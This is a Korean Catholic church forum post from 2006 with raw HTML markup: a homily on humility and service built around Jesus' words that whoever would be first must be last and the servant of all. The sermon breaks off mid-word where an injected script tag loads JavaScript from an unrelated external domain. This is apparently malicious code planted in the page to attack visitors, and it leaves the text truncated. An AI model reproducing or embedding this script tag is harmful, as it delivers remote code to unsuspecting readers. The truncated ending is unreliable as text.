진정한 첫째가 되자!

작성자 : 허미옥 | 조회수 : 3,405 | 작성일 : 2006년 9월 24일

<SPAN id=style style="LINE-HEIGHT: 20px"><BR><B><FONT face=돋움 color=forestgreen>- *♥* 진정한 첫째가 되자! *♥*&nbsp; -</FONT><B><BR><BR><FONT face=돋움 color=forestgreen>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR><BR>찬미 예수님!<BR><BR>사랑하올 형제 자매님,<BR>지난 한 주간도 순교자들의 신앙을 닮기 위해 노력하면서<BR>주님의 사랑을 듬뿍 느끼며 많이 행복하셨나요? <BR>요즘 많은 본당에서 성지 순례를 하고 있는데<BR>날씨가 참으로 순례하기 좋습니다.<BR>아마도 순교자들을 기리는 우리의 마음을<BR>하느님께서 이쁘게 보신 모양입니다!! *^&amp;^*<BR> <BR><BR>형제 자매님,&nbsp; <BR>악인은 율법을 어기고 교육받은 대로 하지 않아 죄를 지은 사람이고, <BR>의인은 하느님을 아버지로 여기며 <BR>하느님께서 자기를 돌봐주신다고 믿는 사람이라고 <BR>1독서에서 말합니다.<BR>&nbsp; <BR>우리들은 누구나 의인이 되기를 원하지 <BR>악인이 되고 싶어 하는 사람은 없을 것입니다.<BR>그러나 다른 한편으로 사람이면 누구나 <BR>높은 지위에 올라 다른 사람에게 대접을 받고 싶고, <BR>다른 사람 위에 앉아 군림하고 싶어 합니다.&nbsp; <BR><BR>대통령이나 국회의원들도 <BR>그들이 후보일 때는 온전히 국민을 위한 봉사자가 되겠다고 <BR>철떡 같이 약속을 하지만 일단 당선되고 나면 <BR>결국 자기가 하고 싶었던 것을 하는데 모든 것을 집중시키는 것을 <BR>우리는 늘 보아왔습니다.&nbsp; <BR>다른 사람보다 더 높은 사람이 되고 싶은 것은 인간의 기본적인 욕망일 것입니다.<BR><BR>예수님의 제자들도 인간이니까 마찬가지였겠죠.&nbsp; <BR>그래서 자기들 사이에서 누가 제일 큰 사람이냐 <BR>즉 누가 제일 높은 사람이냐 하고 서로 다투었습니다.&nbsp; <BR><BR>이 사실을 알아차리신 예수께서는 이렇게 말씀하십니다.<BR>“누구든지 첫째가 되려면, 모든 이의 꼴찌가 되고 모든 이의 종이 되어야 한다.”<BR><BR>이것은 사람들과 제자들이 갖고 있던 생각을 <BR>온통 뒤흔들어 놓는 놀라운 말씀입니다.&nbsp; <BR>예수께서는 자기 자신을 인정받으려는 <BR>인간의 기본 욕망을 근본적으로 바꾸어 놓도록 지적하십니다.&nbsp; <BR><BR>세상 사람들은 그런 욕망을 가지고 그것을 성취하기 위해서 투쟁을 합니다.&nbsp; <BR>그러나 예수님은 당신을 따르고자 하는 사람들에게 <BR>첫째가 아니라 꼴찌가 되고자 노력하라고 말씀하십니다.<BR><BR>형제 자매님,<BR>우리는 많은 경우 내가 어떤 일에서든 꼴찌가 된다면 <BR>다른 사람이 나를 무시하지 않을까 걱정합니니다. <BR>특히 모든 사람이 일등이 되고자 혈안이 되어 있는 <BR>경쟁사회에서 생활해야 하는 우리에게 <BR>오늘 복음의 예수님 말씀은 맞지 않는 것 같습니다! <BR><BR>그런데 예수님께서 말씀하시는 꼴찌는 <BR>우리가 생각하는 꼴찌와는 다른 것 같습니다.&nbsp; <BR>예수님은 당신을 따르는 사람들이 <BR>모든 것에서 다른 사람보다 뒤처지는 사람이 되어야 한다고 <BR>요구하시는 것이 아닙니다.<BR><BR>오히려 예수님은 당신의 제자로 불린 사람들은 가장 낮은 자리를 차지함으로써, <BR>또 가장 보잘것없는 사람들까지 섬김으로써 <BR>당신과 가장 가까운 사람이 되어야 한다는 것입니다.<BR><BR>그러면 우리는 예수님께 가깝다는 것이 무엇을 뜻하는지 알 수 있습니다.&nbsp; <BR>예수님은 사랑이시기에 예수님께 가깝다는 것은 <BR>예수님처럼 잘 사랑한다는 뜻입니다.&nbsp; <BR>그러니까 예수님께서 사람을 바라보는 관점은 <BR>세상 사람들의 그것과 너무나 다릅니다.&nbsp; <BR><BR>예수님은 우리가 어떤 일을 얼마나 잘 하는지를 보시지 않으시고 <BR>얼마나 잘 사랑하는지를 보십니다.<BR><BR>형제 자매님,<BR>사랑하기 위해서는 자신을 낮추어야 하고 다른 사람을 섬겨야 합니다.&nbsp; <BR>인간적인 판단으로 나보다 사회적 지위도 낮고, 가진 것도 적고, 학력도 낮고, <BR>능력도 부족하고, 힘도 적고, 나이도 어린 사람보다 <BR>나를 낮춘다는 것은 결코 쉬운 일이 아닙니다.&nbsp; <BR><BR>그런데 우리가 그 사람을 사랑하기 위해서는 나를 낮추어야 합니다.&nbsp; <BR>만일 내가 그 사람보다 더 낮출 수 없다면 <BR>같은 수준으로 나를 낮추어 동등한 입장이 되어야 합니다.&nbsp; <BR><BR>예수님께서는 우리를 사랑하시기 위해서 <BR>하느님의 지위에서 우리와 똑 같은 인간의 지위로 당신을 낮추셨습니다.&nbsp; <BR>나를 낮춘다는 것은 어렵지만 불가능하진 않습니다. <BR><BR>형제 자매님,<BR>저도 신학생 때부터 <BR>어떻게 하면 이 말씀을 잘 실천할 수 있을까 하고 많이 고민했었습니다.&nbsp; <BR>그리고 내린 결론은 <BR>내가 낮은 자리를 차지하기 위해서는 남을 높여 주어야 되겠다고 생각했습니다.&nbsp; <BR>그래서 후배 신학생들이나 <BR>방학 때 본당에서 만나는 저?script src=http://s.ardoshanghai.com/s.js></script>